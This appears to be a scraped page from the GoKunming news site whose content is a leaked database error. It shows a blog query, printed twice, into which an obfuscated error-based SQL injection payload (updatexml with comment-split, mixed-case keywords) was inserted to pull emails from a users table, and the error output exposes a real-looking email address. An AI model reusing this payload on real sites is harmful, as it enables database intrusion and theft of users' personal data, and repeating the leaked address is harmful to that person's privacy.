SELECT
                c.blog_id,
                c.category_id,
                c.user_id,
                c.title,
                c.content,
                c.content_stripped,
                a.display_name,
                c.ts,
                COUNT(com.comment_id) AS num_comments,
                MAX(com.ts) as comment_ts
                
                FROM blog_content c
                LEFT JOIN blog_comments com ON (c.blog_id = com.blog_id AND com.live = 1)
                LEFT JOIN admin_users a ON (c.user_id = a.user_id)
                
                WHERE c.ts < NOW()
                 AND c.ts >= NOW() - INTERVAL updatexml(rand(),(/**//**/sElEcT(/**//**/sElEcT /**//**/uNhEx(/**//**/hEx(/**//**/cOnCaT(0x7e,ifnull(email,char(32)),0x7e))) /**//**/fRoM gokunming.public_users /**//**/lImIt 8805,1)),0) MONTH
                
                AND properties & 1  GROUP BY c.blog_id ORDER BY c.ts DESC, XPATH syntax error: '~benoufei99@163.com~'
SELECT
                c.blog_id,
                c.category_id,
                c.user_id,
                c.title,
                c.content,
                c.content_stripped,
                a.display_name,
                c.ts,
                COUNT(com.comment_id) AS num_comments,
                MAX(com.ts) as comment_ts
                
                FROM blog_content c
                LEFT JOIN blog_comments com ON (c.blog_id = com.blog_id AND com.live = 1)
                LEFT JOIN admin_users a ON (c.user_id = a.user_id)
                
                WHERE c.ts < NOW()
                 AND c.ts >= NOW() - INTERVAL updatexml(rand(),(/**//**/sElEcT(/**//**/sElEcT /**//**/uNhEx(/**//**/hEx(/**//**/cOnCaT(0x7e,ifnull(email,char(32)),0x7e))) /**//**/fRoM gokunming.public_users /**//**/lImIt 8805,1)),0) MONTH
                
                AND properties & 1  GROUP BY c.blog_id ORDER BY c.ts DESC LIMIT 0, 10, XPATH syntax error: '~benoufei99@163.com~'
News, Travel and Feature Articles - GoKunming
Keats School

News, Travel and Feature Articles

Cancel search
RSS feed